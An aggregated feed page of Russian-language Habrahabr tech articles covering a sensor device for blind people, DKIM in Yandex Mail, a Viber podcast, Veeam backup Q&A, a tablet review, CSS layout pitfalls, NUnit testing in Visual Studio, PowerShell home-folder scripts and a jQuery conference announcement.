Украинский язык



Английский язык



Немецкий язык



Французский язык



Ботаника



Зоология



Биология



Этика



Культура



Литература

Начинать нужно с малого

image

Пролог

Под новый год возвращаясь домой за полночь я вошел в неосвещенный подъезд и запинаясь об ступеньки подумал: «А как же живут слепые люди?»

Собрал, придумал, победил

Точнее Придумал, собрал, победил.
Определив требования к проекту
  • Три раза в секунду производить замеры расстояний до препятствий.
  • Согласно полученному результату сообщать пользователю информацию об удаленности предметов методом кинетического воздействия (вибромотор).
  • При приближении препятствий вибромотор должен усиливать интенсивность свое воздействие на пользователя.
  • Заряжаться от сети.
  • Иметь возможность дальнейшего развития.
  • Легкость в использовании

и собрав компонентную базу, проведя пару экспериментов я начал думать как это добро реализовать и жизнь

И тут 22 марта сего года товарищем oleamm был написан следующий хабрапост.
Читал я его с упоением и удивлением, о том как мы мыслили одинаково и думали за теми же мыслями за несколько тысяч километров.
Пообщавшись с Романом, я искренне пожелал ему удачи в его проекте.

Но шло время, и его идея не стартовала, хотя гарантировала успех. Я принял решение все таки самому наладить вопрос мало серийного производства данного оборудования.

Задавшись вопросом этики и получив одобрение от oleamm я все таки решил начать.
Сделав прототип




Проверив устройство в работе и создав бизнес план малой партии я начал собирать деньги на старт

Способ сбора денег я сделал принципиально через Краудфандинг так как я беру на себя обязательства публично, что для меня и для общества является гарантом запуска проекта Ссылка на проект

Результатом данного сообщения я хочу выявить реален ли интерес к данному виду устройств на текущий момент времени?

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


DKIM в Яндекс.Почте для доменов — как развивается безопасность электронной почты

Недавно и в Яндекс.Почте для доменов у писем появилась цифровая подпись DKIM — DomainKeys Identified Mail.

DKIM — это технология, которая удостоверяет подлинность отправителя письма с помощью добавления цифровой подписи, связанной с именем домена. По статистике Яндекс.Спамообороны, в настоящее время уже половина приходящих на сервера Яндекс.Почты писем содержат верную цифровую подпись. И постепенно их становится всё больше — два года назад такие письма составляли 35% ото всех.

В Яндекс.Почте цифровая подпись служит для борьбы со спамом и фишингом. До появления DKIM одним из факторов, с помощью которых Спамооборона понимала нежелательность письма, была верификация отправителя при помощи SPF — Sender Policy Framefork, над которым за время его существования успело поработать множество рабочих групп, включая рабочую группу MARID в IETF.

Для того чтобы определить подлинность письма, DKIM весьма элегантно использует современные криптографические достижения. Под катом — о том, как реализована DKIM в Почте для доменов, какие недостатки есть у SPF и почему, несмотря на них, мы продолжим использовать обе технологии.

Для формирования и проверки подписи DKIM используется классическая асимметричная криптографическая схема проверки электронной цифровой подписи.

Закрытая часть доменного ключа размещается на сервере и применяется для формирования цифровой подписи. В неё при этом может включаться не только само тело письма, но и некоторые заголовки. Сама подпись также добавляется к письму в виде заголовка.

<code>DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yandex.ru;
	s=mail; t=1369929893;
	bh=1W1A4HZDXIEhbsNkODdvI9WBtkyimVpsrgS/eXcB4yo=;
	h=From:To:Subject:Date;
	b=JjGcbyC2qfrH4Fs8IsyvOOoxHt7hc5GYdESJ7RCoiBo899c/pvSXu2sCA30HvHGi/
x4v06f8bq6vOxDptBQ+8xZkbWoZbQ1EQOH0Q5Ntl9QnwFVUY9E18ZxG2xlTEFqbhNm
	 aJcsWkHPWIIg+vfHfwmJMFsaSwuEeioBvDUPTbeg=</code>

Открытая часть ключа загружается в виде TXT-записи в DNS-зону домена и служит для проверки сгенерированной подписи. Её результат может использоваться, когда примается решение о дальнейшей судьбе письма: невалидная подпись говорит о том, что оно либо было отправлено с другого домена, либо было изменено в процессе пересылки. В любом случае это тревожный знак.

Валидная подпись позволяет гарантировать соответствие домена-отправителя и домена, указанного в письме, и, таким образом, формировать репутацию доменов в интернете. В общем случае включение DKIM на домене позволяет улучшить «доставляемость» писем.



Мы постарались сделать так, чтобы включение DKIM происходило с минимальным участием администратора. Для доменов, делегированных на Яндекс, DKIM включается автоматически. Для всех остальных достаточно добавить соответствующую TXT запись с открытым ключом в DNS зону.

На стороне Яндекс.Почты при подтверждении нового домена для него сразу же создается пара ключей, необходимых для формирования DKIM подписи. Если домен делегирован на DNS сервера Яндекса, то в зоне автоматически создается TXT-запись, содержащая открытый ключ. Если домен делегирован на другие сервера, в интерфейсе его администратора отображается подсказка с текстом записи, которую необходимо добавить в зону домена.

При очередной проверке статуса домена, которые происходят каждый час, сервера ПДД получают информацию о наличии в зоне записи о DKIM, либо о том, что существовавшая запись из зоны пропала. Список этих изменений распространяется на кластер отправки писем вместе с закрытыми ключами. После распространения новые домены начинают подписываться DKIM подписью так же, как это происходит со всеми письмами Яндекс.Почты.

Большинство современных систем антиспама срабатывают по репутационным критериям и критериям массовости. Например, сервис Яндекса Спамооборона-1024 (бесплатное решение для фильтрации корпоративной почты от спама), который прекращает свою работу с 1 сентября этого года, использует такие критерии. Довольно удобно иметь гарантию того, что письмо было отправлено именно с указанного домена.

В технологии SPF проверка подлинности осуществляется также при помощи внесения специальной записи в DNS-зону администратором домена, но не требует проставления специальных заголовков в самом письме. Если в домене присутствует SPF-запись, принимающий сервер может сделать вывод о соответствии адреса источника письма списку хостов, для которых разрешена отправка почты для этого домена.

Этот механизм имеет один большой недостаток: в случае пересылки (Forward) письма с сервера на сервер проверка SPF на принимающей стороне завершится неудачно. Кроме того, SPF не позволяет однозначно сказать, было ли письмо отправлено с указанного в нем домена. DKIM решает эту проблему, добавляя криптографическую подпись на тело письма и заголовки.

Тем не менее, возможны ситуации, когда часть хороших писем от домена приходит вовсе без подписи, то есть, ориентироваться только на DKIM не получится, равно как и выстраивать репутацию для таких доменов.

В будущем, вероятно, помимо SPF и DKIM более широкое распространение получит сравнительно новая технология DMARC — Domain-based Message Authentication, Reporting & Conformance, которая объединяет в себе не только средства проверки происхождения письма, но и средства обмена информацией о спаме между почтовыми системами. Яндекс.Почта уже более года использует DMARC в качестве дополнительной защиты ящиков от спама и фишинга.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Рунетология(205): Игорь Магазинник, со-основатель Viber

Игорь Магазинник о том, умрет ли SMS окончательно, кого боятся мобильные операторы и какое мобильное будущее нас ждет завтра.


Интервью с гостем:
  • Израиль как «Мекка технологий»: в чем секрет ближневосточного технологического чуда?
  • Можно ли гарантированно монетизировать «толпу»?
  • Как пиратские MP3 файлы стали причиной появления Viber?
  • «Нужно строить настоящую компанию, которая рассчитана на то, что если ее никто не купит, то она всё равно будет приносить прибыль, всё равно давать работу сотрудникам и приносить прибыль акционерам».
  • Какими способами могут зарабатывать мессенджеры?
  • Конкуренты-«однополчане»: кто конкурирует с Viber?
Скачать файл (47.3 Мб/01:11:22 MP3, 96 kbps)
Послушать предыдущие выпуски и подписаться на RSS подкаста
Страница «Рунетологии» на Facebook

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Правило резервного копирования «3-2-1». Часть 2

В первой части данной статьи мы рассказали про правило резервного копирования «3-2-1». Теперь мы приглашаем посмотреть вторую часть статьи, содержащую запись нашего полуторачасового вебинара, подготовленного в формате whiteboarding сессии (то есть никаких PowerPoint слайдов — будет только наш эксперт и презентационная доска), на которой он шаг за шагом показывает какие проблемы встречаются у компаний в области резервного копирования, и как правило «3-2-1» можно реализовать на практике на примере продукта Veeam Backup & Replication. Помимо записи вебинара в статье приводятся ответы на наиболее актуальные вопросы, заданные участниками в ходе его онлайн-трансляции.


Вопросы после вебинара «Whiteboard Russia: Начнем с чистого листа!»:

  • Как лучше организовать консистентный бэкап распределенных приложений, состоящих из нескольких серверов?
Так же, как и обычных серверов. Главное предупредить приложение о том, что будет производиться резервное копирование. Причем надо понимать, что консистентность прежде всего необходима транзакционным приложениям и файловым системам.

  • “Принцип 3-2-1 – это очень дорого”.
Все зависит от того, сколько стоят ваши данные и насколько критично их потерять. Например, во сколько можно оценить потерю профессиональным фотографом своего личного фотоархива или фотоархива всей своей студии? Скорее всего, такое событие станет для него полной катастрофой. Поэтому, наверное, не случайно, что именно фотограф (Peter Korghe) в своей книге впервые и ввел понятие бэкап-правила “3-2-1”. При этом архив прошлогодней электронной почты вполне можно хранить в двух или даже одной резервной копии. Так что все зависит от составления стоимости защиты данных и стоимостью ущерба от их потери.

  • “Ленты отмирают?”
По результатам исследования компании Gartner “Organizations Leverage Hybrid Backup and Recovery”, крупные компании для резервного копирования используют комбинированный подход  в отношении использования дисковых хранилищ и ленточных накопителей. Такая стратегия хранения резервных копий позволяет снизить RTO и RPO (т.е. увеличить скорость процесса и уменьшить время резервного копирования) в отношении наиболее актуальных данных и критической информации, и, одновременно с этим, снизить стоимость владения инфраструктурой резервного копирования при долговременном хранении информации, которое требуется, например, для выполнения законодательных требований.
По статистике 80% всех операций восстановления приходится на данные, имеющие “возраст” архивирования, не превышающий 4-х недель. Таким образом, резервные копии в пределах последних 4 недель разумно располагать на быстродоступных дисковых хранилищах, хотя они и более дороги (из расчета размера затрат на единицу хранения информации), чем лента.

Несмотря на продолжающийся прогресс в снижении удельной стоимости хранения информации на дисковых накопителях, ленточные накопители остаются лидерами по этому показателю. Они отлично комбинируют в себе надежность хранения, мобильность носителей данных (лент) и низкую удельную стоимость хранения информации. Благодаря такой комбинации показателей, ленточные накопители отлично подходят для долговременного (многолетнего) хранения данных. Ленты в этой роли могут быть вытеснены пока только облаком, оптимизированным под хранение резервных копий, таким как Amazon Glacier.

В заключение можно сказать, что это до сих пор самый легко переносимый способ хранения.

  • Поддерживается ли функция шифрования данных?
Данные, которые передаются через Интернет в облако – шифруются. А вот шифрование самих бэкапов на диске или ленте не поддерживается.

  • Для работ по 17-му приказу ФСТЭК для аттестации системы с наличием информации ограниченного доступа требуется применение сертифицированных решений, в том числе для резервного копирования. В недавней аналитике RISSPA по выбору средств защиты информации для виртуализированных инфраструктур решение Veeam указано, однако данных о сертификации у регуляторов нет. Планирует ли компания работы в этом направлении (сертификацию решения)?
Действительно в п. 20.11 Приказа сказано, что “меры по защите среды виртуализации должны исключать НСД к … системе резервного копирования и создаваемым ею копиям”. Что же это за “меры”? Согласно п. 26 Приказа “Технические меры защиты информации реализуются посредством применения средств защиты информации (СЗИ), имеющих необходимые функции безопасности.” Далее в этом пункте Приказа перечисляются конкретные виды СЗИ: СЗИ от НСД, антивирусы, СОВ и МЭ. Список является закрытым. Какие СЗИ нужны с точки зрения сертификации? Согласно п.11 Приказа “Для обеспечения защиты информации, содержащейся в информационной системе, применяются СЗИ, прошедшие оценку соответствия в форме обязательной сертификации”. Таким образом, как мы видим, требования сертификации установлены для специализированных технических средств (аппаратных или программных продуктов), которые выполняют функции защиты (антивирусы, МЭ, СЗИ от НСД, СОВ). Эти требования не распространяются на общесистемное программное обеспечение, которое обрабатывает информацию ограниченного доступа (к которым относятся в т.ч. продукты резервного копирования). Конечно, если общесистемное программное обеспечение содержит встроенные функции защиты (как, например, операционная система) и при аттестации системы эти встроенные СЗИ планируется использовать для обеспечения мер безопасности, то будет требоваться сертификат на такие встроенные СЗИ, или иначе их нельзя применять в качестве мер защиты.

Таким образом, на наш взгляд (и эта позиция совпадает c позицией Марии Сидоровой, вице-президент RISSPA), можно сделать следующий вывод: поскольку Veeam Backup является общесистемным программным обеспечением, а не СЗИ, он не должен применяться при аттестации как техническое СЗИ для обеспечения мер по защите информации, и, как следствие, требования на обязательную сертификацию СЗИ на него не распространяются. Поэтому у нас нет пока планов по сертификации Veeam Backup по требованиям ФСТЭК.

  • На какую платформу ставится Veeam (Appliance, Windows, Linux)? Как бэкапится и восстанавливается сервер самого Veeam?
Veeam всегда устанавливается на платформу Windows. Будет ли это физический или виртуальный сервер — не важно. Если говорить про резервное копирование самого сервера Veeam, то на этом сервере не хранится жизненно важная информация по резервным копиям, а только настройки инфраструктуры. Например, количество и расписание заданий, сколько у Вас репозиториев, ленточных библиотек и так далее. Эти настройки хранятся в БД SQL и файле настроек.

Если SQL хранится на отдельной ВМ (а это обычная наша рекомендация), то Вы можете ее бэкапить с помощью Veeam. Файл настроек автоматически сохраняется в default repository Veeam, но Вы можете указать другое место. В то же время резервные копии Veeam являются полностью самодостаточными. Вся информация о восстановлении (сколько точек восстановления, информация по дедупликации и сжатию и т.д.) хранится в самой резервной копии. Восстановить резервную копию Вы можете даже при отсутствии сервера Veeam.

  • Как восстановить инфраструктуру, если сбой коснулся и самой инфраструктуры резервного копирования (серверов Veeam)?
Прежде всего, смотрите описание вопроса номер 6. Теперь порядок.

1 вариант (наиболее правильный, если делали бэкап Veeam)

  1. Восстанавливаем ВМ с SQL, в котором хранилась база Veeam. Можно прямо из резервной копии, с помощью нашей утилиты;
  2. Устанавливаем новый Veeam, указываем БД SQL, которую мы только что восстановили;
  3. Импортируем файл настроек Veeam;
  4. Вся инфраструктура готова;
2 вариант (если не делали бэкапы)

  1. Устанавливаем новый сервер Veeam;
  2. Делаем настройки инфраструктуры (добавляем vCenter, Veeam Repository, т.д.);
  3. Импортируем старые бэкапы;
Восстанавливать ВМ уже можно, НО все настройки с расписаниями придется пересоздавать.

  • Каково рекомендованное количество точек восстановления?
По умолчанию у нас настроено 14 точек восстановления, НО это не рекомендация. Рекомендаций по сути нет, поскольку данный параметр зависит от ваших политик и процедур внутри компании по хранению данных. Насколько важна для вас информация, насколько необходимо долго ее хранить и т.д.

  • Как Veeam относится к программному обращению из скриптов и приложение пользователя к бэкап-инфраструктуре?
Все функции Veeam, доступные из GUI, доступны также и в виде командлетов PowerShell и эти функции официально поддерживаются.

  • Есть ли возможность создания Pre-backup скриптов?
Есть Pre-Freeze/Post-Thaw скрипты внутри ВМ, и есть Post-Backup скрипты снаружи ВМ. Можно запускать задания PowerShell'ом и предварительно исполнять нужные действия.

  • Есть ли поддержка DAG в Microsoft Exchnage 2010/2013?
Да, есть.

Полезные



Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Обзор Supra M127G – середнячок с необычным дизайном



Добрый день, дорогие жители Хабра. В этом обзоре я хотел бы рассказать о планшете от компании Supra, носящем, как и бывает в таких случаях, замысловатое название – M127G. Это довольно среднее по характеристикам устройство, но это именно тот случай, когда не слишком выдающаяся компания делать шаги к успехам в плане дизайна.


Внешний вид планшета – это главная его фишка. Он довольно необычный, он довольно крупный и он довольно мужской. Не думаю, что женщина стала бы использовать Supra M127G, который весит около 750-ти грамм.



Дизайн действительно неплох и материалы на ощупь вызывают только положительные отзывы, но диву дает кнопка выключения. Она похожа на кнопку магнитофона 90-х готов. ("Так, сейчас жми Play и потом резко Rec!")



Начинка планшета:

– Android 4.1
– Процессор: RockChip RK3066 1500 МГц (2 ядра)
– ОЗУ: 1 Гб DDR3
– Встроенная память: 16 Гб
– Экран: 10.1", 1280x800 пикселей, TFT IPS
– Видеоядро: Mali-400 MP4
– Bluetooth 2.1 EDR
– Слот для SIM (3G)
– Тыловая камера 5 МП
– Фронтальная камера 2 МП
– Емкость аккумулятора: 6800 мАч
– Размеры (ДхШхГ): 252x178x10 мм
– Вес: 750 г

Если честно, я так и не нашел в сети к какой стране относится компания Supra, но будем считать, что это Китай-made. Для дешевого устройства, а M127G стоит от 9 тысяч рублей по Яндекс.Маркету, это вполне неплохое решение.

Общая работа системы никак не сравнится, например, с Nexus 10, но как «рабочая лошадка» Supra годится. К тому же, в AnTuTu планшет показывает довольно хорошие результаты: 11102 очков.



По моим тестам M127G держит чуть больше 9-ти часов при проигрывании фильмов на яркости 75% и такой же громкости.

Плюсы:

– Дизайн
– Быстрота в играх
– Разъем для SIM
– Цена
– Стереодинамик

Минусы:

– Отсутствие слота для памяти
– Довольно медленный в общей работе системы
– Маленькая яркость дисплея
– Отсутствие GPS-модуля

В общем, заголовок передает суть: Supra M127G это необычный дизайн, наличие под SIM и цена в 9 тысяч рублей. Если вы собрались покупать себе этот планшет, для начала «пообщайтесь» с ним в живую.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Перевод] Проблемы CSS. Часть 2

Продолжение перевода статьи «Проблемы CSS. Часть 1».

Когда использовать width / height равный 100%?

Height: 100%
Пожалуй начнем с того, что по проще. Когда использовать height: 100%? На самом же деле, вопрос часто звучит немного по-другому: «Как мне сделать так, что бы моя страница заняла всю высоту экрана?». Ведь правда?

Для ответа на него нужно понять, что height: 100% равен высоте родительского элемента. Это не магическое «высота всего окна». Так что, если вы захотите, что бы ваш элемент занял все 100% от высоты окна, то установить height: 100% будет недостаточно.

Почему? А потому что родителем вашего контейнера является элемент body, а у него свойство height установлено в auto по-умолчанию, это значит, что его высота равна высоте контента. Конечно, вы можете попробовать добавить height: 100% к body, но этого тоже будет недостаточно.

Почему? А все по тому же, родителем элемента body является элемент html, у которого, так же, свойство height равно auto и он так же растягивается под размер контента. А вот теперь, если добавить height: 100% и к элементу html, то все заработает.

Стало понятнее? Корневой элемент html на самом деле не самый верхней уровень на странице, самый верхний это «viewport». Для простоты, будем считать, что это окно браузера. Так вот, если установить height: 100% элементу html, то это то же самое, что сказать — стань такой же высоты, как окно браузера.

Суммируем полученную информацию в небольшом кусочке кода:

<code class="css">html, body, .container {
    height: 100%;
}
</code>
Готово. Если вам интересно углубится в тему, как устроен viewport, я настоятельно рекомендую статью от PPK.

А что если у родительского элемента установлено свойство min-height, а не height?
Недавно, Роджер Йохансен (Roger Johansson) описал проблему с height: 100%, проявляющуюся, когда у родительского элемента не установлен height, но указан min-height. Я не хочу углубляться в сказанное в статье, а перейду сразу к выводам. Вам необходимо установить height: 1px для родителя, что бы дочерний элемент смог занять всю высоту указанную в min-height.

<code class="css">.parent {
    min-height: 300px;
    height: 1px; /* Required to make the child 100% of the min-height */
}
 
.child {
    height: 100%;
}
</code>
Пример на jsFiddle.

Более подробно, с этим вопросом, вы можете ознакомится в статье Роджера Йохансена (Roger Johansson).

Width: 100%
Теперь давайте разберемся с width: 100%. Для начала, небольшое уточнение: устанавливая свойство width: 100%, мы хотим, что бы наш элемент занял всю ширину родительского элемента. Все стандартно.

Позвольте открыть вам небольшой секрет. width, для этого свойства — не очень подходящие название. Свойство width — это не абсолютный размер элемента, а размер содержимого элемента и это огромная разница.

Если добавить padding и/или border к элементу с width: 100%, то он перестанет помещаться в родительский элемент. Потому что появились padding и border, вот почему width должен был называться content-width. А теперь, пожалуйста, посмотрите на пример демонстрирующий вышесказанное.

Пример на jsFiddle.

Допустим, родитель имеет ширину 25em, а дочерний элемент, ширину 100% (от ширины родителя), но он так же имеет padding равный 1em (1em справа и 1em слева, в сумме 2em по горизонтали) и border размером 0.5em (0.5em справа и 0.5em слева, в сумме 1em по горизонтали), что в итоге нам дает 25em (100%) + 2em + 1em = 28em.

Есть 4 возможных пути решения этой проблемы. Первый и наверное лучший способ — избегать свойства width: 100%, тем более, что в данном случае оно абсолютно бесполезно. Если дочерний элемент блочный, то он и так займет всю ширину родителя автоматически (без проблем с padding`ами и border`ами). Но если мы работаем с inline-block элементом, то нам не удастся так просто решить эту проблему.

Мы можем заменить width: 100% на статичный размер. В нашем случае 25 — (2 + 1) = 22em. Само собой — это плохое решение, потому что нам нужно вычислять ширину вручную. Пойдем другим путем!

Третий способ — использовать calc() для расчета ширины: width: calc(100% — 3em). Но оно тоже не подходит. Во-первых, нам все еще нужно вычислять размеры padding + border. Во-вторых, calc() не то, что бы хорошо поддерживался браузерами (не работает в IE 8, Safari 5, Opera 12, родном браузере Android).

Идея номер четыре — использовать свойство box-sizing: border-box. Оно изменяет алгоритм расчета ширины и высоты элемента так, что бы в них учитывались свойства padding и border. Отличная новость, заключается в том, что у box-sizing хорошая поддержка браузерами (IE8+, Opera 7+). А для всех остальных браузеров можно использовать polyfill.

Вывод: не используйте width: 100% без box-sizing: border-box.

Как не облажаться с z-index.

Все элементы на страницы позиционируются в трех плоскостях: кроме вертикальной и горизонтальной оси, существует дополнительная ось Z (глубина). По началу все выглядит очень просто — элементы с большим z-index находятся выше элементов с меньшим z-index. К несчастью, все гораздо сложнее. Я уверен, что z-index самое сложное css свойство за всю его историю. А так же уверен, что проблемы связанные с z-index встречаются чаще других при работе с css. Надеюсь, что мы просветим возможные пути их решения.

Для начала. Свойство z-index не имеет эффекта на статических элементах. Что бы иметь возможность перемещать элемент по оси Z, нам нужно изменить его позиционирование на relative, absolute или fixed.

Следующие, что нужно знать о z-index — это то, что не все элементы в DOM дереве размещены на одном уровне. Это значит, что изменение z-index у элемента до очень большого значения, не гарантирует того, что элемент будет помещен на передний план. Это называется контекстом наложения.

Простыми словами, контекст наложения является, своего рода, группой на основе одного html элемента, у которого все дочерние элементы получают ту же позицию в контексте и такой же z-index. Изменения z-index у элемента может привести к перекрыванию им других элементов, так как вам необходимо. Вот как располагаются элементы в одном контексте наложения (снизу вверх):

  1. Фон и границы элемента, формирующего контекст
  2. Дочерние контексты наложения с негативным z-index (самый маленький первый)
  3. Не позиционированные элементы
  4. Позиционированные элементы с значением z-index равным auto или 0
  5. Позиционированные элементы с положительным z-index (каждый следующий по порядку расположен выше предидущего, при равенстве z-index)
Когда ситуация становится неприятной
Итак, мы рассмотрели основы z-index понимание которых сэкономит вам кучу времени, уж поверьте. Но, к сожалению, их недостаточно. Это было бы слишком просто.

Дело в том, что каждый контекст наложения имеет свою ось Z. Например, элемент A в контексте наложения 1 и элемент B в контексте наложения 2 не могут взаимодействовать через z-index. Это значит, что элемент A, как часть контекста наложения находящегося в самом низу общего контекста, ни когда не сможет перекрыть элемент B другого контекста, находящегося выше уровнем, даже с очень большим значением z-index.

Но, что еще хуже. Элемент html создает корневой контекст наложения. Затем, каждый не статично-спозиционированный элемент со свойством z-index не равным auto, так же создает свой контекст наложения. Ничего нового. Но вот где все начинает рушиться: некоторые, ни как не связанные с контектом наложения css свойства, так же создают новые контексты. Например свойство opacity.



Все верно, свойство opacity создает новый контекст наложения. То же самое делают свойства transform и perspective. Хотя это не имеет ни какого смысла, не так ли? Например, если у вас есть какой-нибудь элемент с opacity меньше 1 или с любой трансформацией, у вас потенциально может возникнуть проблема.

К сожелению каждая проблема с z-index имеет свой контекст (не каламбур) делающий невозможным универсальное решение.

Давайте подведем краткий итог вышесказанного:

  • Перед применением z-inedx убедитесь, что установили свойство position не равным static
  • Не используйте значения большем чем 5 цифр для z-index, это абсолютно бессмысленно; в большинстве случаев, значение z-index в районе 10, будет более чем достаточно
  • Убедитесь, что элемент который вы хотите перекрыть находится в том же контексте наложения
  • Если у вас все еще что-то работает не так, как должно, убедитесь в отсутствии трансформаций и opacity выше у родительских элементов

В тему, я так же рекомендую к прочтению What No One Told You About Z-index от Филипа Волтона (Philip Walton) и официальную спецификацию css.

со схлопыванием отступов

Как мне кажется — это один из глюков css, который крадет наибольше количество времени, что бы разобраться в чем же дело. Можно сказать, что он чем-то похож на баг с z-index. Как-бы то ни было, схлопывание отступов — это когда верхний и нижний отступ двух элементов схлопываются в один (самый большой из двух).

К счастью, как правило такое поведение и ожидается. Возможно по-этому оно так и работает (так указано в спецификации css). Однако, иногда вы не хотите, что бы вертикальные отступы схлопнулись. Что бы понять как этого избежать, мы для начала посмотрим, почему так происходит. Схлопывание отступов может произойти в трех разных случаях.

Сосдение элементы
Когда два соседних элемента имеют вертикальные отступы, они схлопываются до самого большого из них. Есть несколько способов предотвратить схлопывание:

  • clear: left; float: left; (right то же работает)
  • display: inline-block;

Пример на jsFiddle иллюстрирует работу фиксов.

Родитель и первый/последний дочерний элемент
Обычно, верхний отступ родительского элемента и верхний отступ дочернего схлопываются до самого большого. Аналогичным образом работает и для последнего дочернего элемента и нижних отступов. Для решения этой проблемы, так же есть несколько способов. Большинство из них заключаются в добавлении одого из следующих свойств родительскому элементу:

  • overflow: hidden (или любой другой, но не visible)
  • padding: 1px (или другое значение больше 0)
  • border: 1px solid transparent (или любой другой border)
  • float: left (right то же работает)

Пример на jsFiddle иллюстрирует работу фиксов.

Пустые блоки
Когда пустой блок не имеет границ, padding`ов, высоты, его верхние и нижние отступы схлопываются в один. Так или иначе использовать пустые блоки плохая практика, так что такое встречается не часто.

Заключение

К несчастью, тут описана только верхушка айсберга из багов и хаков css. Но это действительно те, которые встречаются чаще других, но есть еще множество вещей таких как: несовместимость браузеров, вендорные префиксы, специфичность селекторов, каскады и наследование, и многое многое другое.

Также, я бы рекомендовал к ознакомлению следующие статьи и сайты:


Надеюсь статья помогла понять некоторые вещи которые смогут уберечь вас от проблем в будущем.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Есть ли жизнь без Resharper-а — 2?

После проверки того, что можно как то делать навигацию в студии и без решарпера, решил исследовать следующий важный для меня сценарий: а именно unit тестирование в студии (с использованием тестового фреймворка nunit).



Решарпер довольно хорошо поддерживает возможность запуска тестов (реализованных с помощью nunit) прямо из студии. Краткое описание возможностей может быть найдено тут.

несколько скринов (решарпер):
запуск (дебагирование) теста:
image

просмоторщик тестов:
image

окно сессии тестирования
image

Еще нужно добавить экран с возможными опциями решарпера (одна параллельность чего стоит!):


После этого «богатства» я начал исселедовать встроенные (или альтернативные) решения.
Прежде всего, чисто студия не поддерживает тесты от nunit-а, но дебагировать тесты можно с помощью самого NUnit таким вот извращенным способом:

где
«Start external program»: C:\Program Files (x86)\NUnit 2.6.2\bin\nunit.exe
«Command line arguments:» mock-assembly.dll /fixture:NUnit.Tests.TestAssembly.MockTestFixture
«Working directory»: D:\My\MyProjects\MySharper\NUnit-2.6.2-src\NUnit-2.6.2\bin\Debug\tests

И если теперь запустить тестовый проект через команду Debug | Start new instance, то поднимится NUnit с нужным тестовым классом и можно запускать тесты, а точки останова при этом будут работать.


Понятно, что такой способ очень «медленный». Для того что бы все-таки воспользоваться встроенным возможностями, авторы NUnit реализовали адаптер, который может быть инсталлирован с галереи.

image

Но, к сожалению мне так и не удалось запустить тесты с исходных кодов NUnit-а (Visual Studio 2013, Reshaper 8) из-за ошибки:

<code class="cs">------ Run test started ------
Could not find test executor with URI 'executor://nunittestexecutor/'.  Make sure that the test executor is installed and supports .net runtime version 4.0.30319.18213.
========== Run test finished: 0 run (0:00:43.9573953) ==========
</code>

Погуглив, обнаружил два открытых «тикета»:
bugs.launchpad.net/nunit-vs-adapter/+bug/1203587
youtrack.jetbrains.com/issue/RSRP-380922

Возможности встроенного окна «Test Explorer» с лихвой перекрыты решарпером, может быт, за исключеним группировки «Group by | Duration» или «Group by | Traits» (как красиво перевести не знаю, гугл перевел так: «Группе черты»), что позволяет группировать тесты по разным другим свойствам (времени работы, атрибутам самих тестов).
пример группировки:


Пробовал запускать тесты в дргих условиях: иногда получалось, но на глаз, гораздо медленнее чем решарпером.
Также обнаружен статус теста прямо над самим тестом:

синия иконка означает, что тест еще не был запущен.
интересно также, что студия почему то не дает запустить тест прямо с код редактора, но дает запустить тест с метода, который вызывается тестом:

похоже на баг.

Итого, в принципе, как то, работать в студии с nunit тестами можно (особенно когда починят адаптер). Кроме того (в независимости от решарпера), есть пару интересных вещей, которые расширяют возможности программиста.

Спасибо,
Игорь.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Создание персональных папок для пользователей домена

Простенький скрипт, точнее две его разновидности, для случая, когда необходимо создать папки для ряда пользователей на файловом сервере при условии, что названия папок будут совпадать с именами пользователей и эти пользователи будут иметь определенный уровень доступа к этим (своим) папкам. Все это может создаваться внутри определенной папки непосредственно на сервере или через сеть в общей папке по UNC пути.

Первый пример использует дополнительный модуль ActiveDirectory и предназначен для случая, когда пользователи находятся в каком-либо OU в AD:



<code>#
# PowerShell Script.
# Creates home folders for users from an OU in AD and set permissions.
# Prepared by Alexander Lipovetskiy. August 2013.
#
 
cls
 
# We need the AD module for this first
Import-Module ActiveDirectory

# A folder or share where home folders must be created.
$Dir = "D:\Users"
# or $Dir = "\\server\share\"
 
# Path to an OU with users.
$Users = Get-ADUser -Filter * -SearchBase "OU=Users,OU=Muhosransk,DC=domain,DC=com"
 
# Creating folders and set permissions.
foreach ($User in $Users) {
    $User = $User.Name
    $Path = New-Item -ItemType Directory -Path $Dir -Name $User
    $Args = New-Object  system.security.accesscontrol.filesystemaccessrule($User,"Modify, Synchronize", "ContainerInherit, ObjectInherit", "None", "Allow")
    $ACL = Get-Acl $Path
    $ACL.SetAccessRule($Args)
    Set-Acl $Path $ACL
    }
</code>

Второй пример обрабатывает список пользователей, находящийся в текстовом файле:

<code>#
# PowerShell Script.
# Creates home folders for a list of users and set permissions.
# Prepared by Alexander Lipovetskiy. August 2013.
#
 
cls
 
# A folder or share where home folders must be created.
$Dir = "D:\Users"
# or $Dir = "\\server\share\"
 
# Path to a text file with users.
$Users = Get-Content "$home\users.txt"
 
# Creating folders and set permissions.
foreach ($User in $Users) {
    $Path = New-Item -ItemType Directory -Path $Dir -Name $User
    $Args = New-Object  system.security.accesscontrol.filesystemaccessrule($User,"Modify, Synchronize", "ContainerInherit, ObjectInherit", "None", "Allow")
    $ACL = Get-Acl $Path
    $ACL.SetAccessRule($Args)
    Set-Acl $Path $ACL
    }
</code>

В данных примерах устанавливаются не полные права, а «Modify, Synchronize» не дающие возможности пользователям менять security permissions и становиться владельцами папок. Конечно все это можно поменять на FullControl или что-либо другое. Также в примерах установлено наследование разрешений подпапками и файлами.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Конференция jQuery Russia: первые темы и спикеры

Напоминаем, что конференция jQuery Russia, посвящённая знаменитому JavaScript фреймворку, при активной поддержке портала Айти-Событие.рф, состоится 15 октября в центре Digital October в Москве.


Дата первой международной конференции jQuery Russia все ближе. В настоящий момент организаторы — ITmozg.ru — активно формируют программу конференции.

Представляем вам первых подтвержденных спикеров и темы их выступлений:

Eric Mann (США) – опытный веб-разработчик с опытом работы на языках JavaScript, Ruby, C#
Eric Mann разрабатывает веб-сайты любой сложности и активно экспериментирует, применяя новые технологии и методы. В настоящий момент ведущий веб-разработчик в 10up (http://10up.com). Он занимается разработкой веб-решений высокого уровня на основе WordPress.

Тема выступления: jQuery+Web Workers = Невероятная производительность
(jQuery+Web Workers = Immense Processing Power)

